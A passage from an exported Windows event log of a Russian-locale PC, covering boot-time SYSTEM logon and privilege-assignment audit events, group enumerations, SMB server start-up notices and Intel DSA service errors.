logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.184\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.185\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.185\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.207\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.207\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.225\t0\t\tInformation\tApplication\tRtkAudioUniversalService\n05.09.2026 08:28:58.234\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.238\t265\tCheckpoint has been performed\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.249\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.249\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.263\t245\tMaintenance has been performed\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:28:58.269\t65\tMMDevAPI: Audio device state changed\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:58.270\t2000\tCtap service started successfully.\t16\tMicrosoft-Windows-WebAuthN/Operational\tMicrosoft-Windows-WebAuthN\n05.09.2026 08:28:58.292\t5615\tWindows Management Instrumentation Service started sucessfully\tInformation\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:28:58.295\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E4\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x12e0\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.296\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-20\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E4\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x12e0\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.304\t0\tIntel(R) WMI Registration Service started.\tInformation\tApplication\tWMIRegistrationService\n05.09.2026 08:28:58.309\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x64c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.310\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x64c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.329\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:58.361\t100\tDiagnostic module {15fba3b8-a37a-4f91-bdba-fbb98fe804bf} (%SystemRoot%\\system32\\diagperf.dll) detected a problem for scenario {2698178d-fdad-40ae-9d3c-1371703adc5b}, instance {f8b1fb61-72e8-4386-90e5-a13899de9cd1}, original activity ID {2698178d-fdad-40ae-9d3c-1371703adc5b}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:28:58.361\t105\tDiagnostic module {15fba3b8-a37a-4f91-bdba-fbb98fe804bf} (%SystemRoot%\\system32\\diagperf.dll) started troubleshooting scenario {2698178d-fdad-40ae-9d3c-1371703adc5b}, instance {f8b1fb61-72e8-4386-90e5-a13899de9cd1}, original activity ID {2698178d-fdad-40ae-9d3c-1371703adc5b}.\tInformation\tMicrosoft-Windows-Diagnosis-DPS/Operational\tMicrosoft-Windows-Diagnosis-DPS\n05.09.2026 08:28:58.371\t1025\t\"One or more named pipes or shares have been marked for access by anonymous users.  This increases the security risk of the computer by allowing unauthenticated users to connect to this server.\n\nRegistry Key: HKLM\\System\\CurrentControlSet\\Services\\LanmanServer\\Parameters\nRegistry Values: NullSessionPipes, NullSessionShares\nDefault Value: Empty (or not present)\nCurrent Value: Non-empty\n\nGuidance:\n\nYou should expect this event when modifying the default values of NullSessionShares and NullSessionPipes. On a typical file server, these settings do not exist or do not contain values, which is the most secure configuration. By default, domain controllers populate the NullSessionShares entry with netlogon, samr, and lsarpc to allow legacy access methods.\"\tWarning\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.389\t3011\t\"The SMB server service created an endpoint with the following listener rule entry settings: \nTransport: \\Device\\NetbiosSmb\nPort: 445\nTransportType: SrvNetTransportTypeTcpip\nSrvInstances: Default, CSV, SBL, SR\n\nGuidance:\n\nYou should expect this event when assigning alternative SMB server listener ports and on any subsequent restarts of the SMB server service.\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.389\t1010\t\"Endpoint added.\n\nName: HONOR-FRG-X     \nDomain Name: WORKGROUP\nTransport Name: \\Device\\NetbiosSmb\nTransport Flags: 0x1\n\nGuidance:\n\nYou should expect this event when the server starts listening on an interface, such as during system restart or when enabling a network adaptor. No user action is required.\"\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.401\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.401\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.406\t1040\tReceived Mib notification type MibInitialNotification for interface 0\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 12. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1040\tReceived Mib notification type MibInitialNotification for interface 0\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 1.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 15. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.407\t1034\tSend RDMA Endpoint notification failure - DadState is different from IpDadStatePreferred for interface 12. Current DadState: 3.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.408\t1053\tRestored 0 of 0 server certificate mappings from persistent storage. Last error code: 0x0.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:28:58.451\t0\tService started successfully.\tInformation\tApplication\tDSAUpdateService\n05.09.2026 08:28:58.463\t0\tService started successfully.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.482\t5617\tWindows Management Instrumentation Service subsystems initialized successfully\tInformation\tApplication\tMicrosoft-Windows-WMI\n05.09.2026 08:28:58.507\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.507\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.508\t1002\tError 0x80070002 occurred while verifying known folder {352481e8-33be-4251-ba85-6007caedcf9d} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\INetCache'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:28:58.526\t1003\tDSAService.dll:7:DSAClientCore.Controllers.Computer.SettingsController|SetDsaDirectoryFallback|()|DsaDirectoryFallback changed.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.544\t1003\tDSAService.dll:7:Intel.DSA.CommonCore.Controllers.Computer.FileSystemSafetyController|AreAdministratorsPermissionsValid|()|Downloads directory rules count is incorrect\tError\tApplication\tDSAService\n05.09.2026 08:28:58.656\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSACommon.dllIntel.DSA.CommonCore.Controllers.Computer.FileSystemSafetyControllerCreateOrVerifyDirectoryCreateOrVerifyUnsafeTreeExceptionDownloads\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.658\t1003\tDSAService.dll:7:Intel.DSA.CommonCore.Controllers.Computer.FileSystemSafetyController|CreateOrVerifyDirectory|()|Downloads directory is invalid\tError\tApplication\tDSAService\n05.09.2026 08:28:58.660\t1003\tDSAService.dll:7:Intel.DSA.Service.Service|OnStartTask|()|Create DSA directory failed\tError\tApplication\tDSAService\n05.09.2026 08:28:58.666\t1003\tDSAService.dll:7:DSAClientCore.Controllers.Computer.SettingsController|SetDsaDirectoryFallback|()|DsaDirectoryFallback changed.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.668\t1003\tDSAService.dll:7:DSAClientCore.Controllers.Computer.SettingsController|SetDownloadsDirectoryFallback|()|DownloadsDirectoryFallback changed.\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.669\t1003\tDSAService.dll:7:Intel.DSA.Service.Service|OnStartTask|()|Initializing logging\tInformation\tApplication\tDSAService\n05.09.2026 08:28:58.719\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x388\n\tProcess 